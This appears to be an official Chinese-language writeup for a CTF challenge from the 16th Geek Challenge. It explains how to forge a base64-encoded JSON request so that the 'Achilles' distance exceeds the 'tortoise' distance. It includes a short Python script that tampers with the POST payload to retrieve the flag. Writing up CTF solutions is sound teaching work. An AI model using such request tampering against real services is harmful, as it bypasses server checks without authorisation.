第十六届极客大挑战官方 Writeup
输入“/”快速插入内容
第十六届极客大挑战官方 Writeup
第十六届极客大挑战官方 Writeup
用户8690用户8690
用户1544用户1544
用户2979用户2979用户9046用户9046
用户153用户153+12
2025年12月2日修改
Web
阿基里斯追乌龟
简单抓包分析，可以发现将阿里基斯与乌龟的移动距离包装在json中：
代码块
{
"achilles_distance": xxx,
"tortoise_distance": xxx
}
再使用base64编码为data的值：
代码块
{"data": xxx}
根据题意，只要使得阿基里斯的移动距离比乌龟多即可
可以使用前端console直接修改，也可以使用抓包工具修改或者写脚本：
代码块
import base64
import json
import requests
URL = "http://xxx/chase"
HEADER = {
"user-agent":"xxx"
}
def encrypt(obj: dict) -> str:
# 与后端一致，使用 UTF-8 编码进行 Base64
js = json.dumps(obj, ensure_ascii=False)
return base64.b64encode(js.encode("utf-8")).decode("utf-8")
def decrypt(s: str) -> dict:
raw = base64.b64decode(s)
return json.loads(raw.decode("utf-8"))
def solve():
# 任选一个满足差值 >= 1 的组合，这里用 101 和 100
payload = {
"achilles_distance": 101,
"tortoise_distance": 100
}
enc = encrypt(payload)
resp = requests.post(URL, json={"data": enc}, timeout=10,headers=HEADER)
resp.raise_for_status()
outer = resp.json()
if "data" not in outer:
print("服务端返回异常：", outer)
return
inner = decrypt(outer["data"])
print("服务端明文响应：", inner)
if "flag" in inner:
print("\n获取到 flag：", inner["flag"])
else:
print("\n未返回 flag，信息：", inner.get("message"))
if __name__ == "__main__":
solve()